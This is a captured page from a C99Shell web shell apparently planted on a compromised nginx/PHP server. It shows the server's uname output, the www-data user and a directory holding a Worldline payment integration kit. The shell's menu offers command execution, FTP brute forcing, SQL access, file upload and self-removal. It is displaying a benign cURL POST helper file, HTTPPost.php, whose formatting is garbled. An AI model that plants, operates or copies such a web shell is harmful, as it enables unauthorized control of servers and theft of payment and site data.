!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/Standard_Worldline_PHP_Kit_7.x.v3/Standard Kit/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HTTPPost.php (1.45 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class HTTPPost
{
    


/**
 * This method is used to post data to server end.
 *
 * Step 1 : Open the URL connection and set the request property
 * Step 2 : Send the request
 * Step 3 : Read the response
 *
 * @param String : URL
 * @param String : Parameters
 * @return String
 */
function excutePost($qpURL,$urlParameters)
{
    
$url='';
    
$connection='';
    
$resStr=null;
    
$result="";
    try
    {
        
$url=$qpURL;
        
        
// Step 1 : Open the URL connection and set the request property
        
$ch curl_init();
        
curl_setopt($chCURLOPT_URL,$url);
        
curl_setopt($chCURLOPT_POST1);
        
curl_setopt($chCURLOPT_POSTFIELDS,$urlParameters);
        
curl_setopt($chCURLOPT_HEADERfalse);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($chCURLOPT_HTTPHEADER,array('Content-Type: application/x-www-form-urlencoded'));
        
curl_setopt($chCURLOPT_SSL_VERIFYPEERtrue);
        
curl_setopt($chCURLOPT_SSL_VERIFYHOST1);
        
curl_setopt($chCURLOPT_CAINFOgetcwd() . "\EntrustRootCertificationAuthority-G2.crt");
        
// Step 2 : Send the request
        
$result curl_exec ($ch);
        
$error curl_error($ch);
        
//echo $error;
        // Step 3 : Read the response
        
$reponseInfo curl_getinfo($ch);
        
curl_close ($ch);
        if (
preg_match('/OK/',$result))
        {
        echo 
"ok";
            
        return 
$result;
        }
        else
        {
            return 
$result;
        }
    }

    catch(
Exception $e)
    {
        
        echo 
'Message: ' $e->getTraceAsString();
    }

    return 
$result;
}

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0061 ]--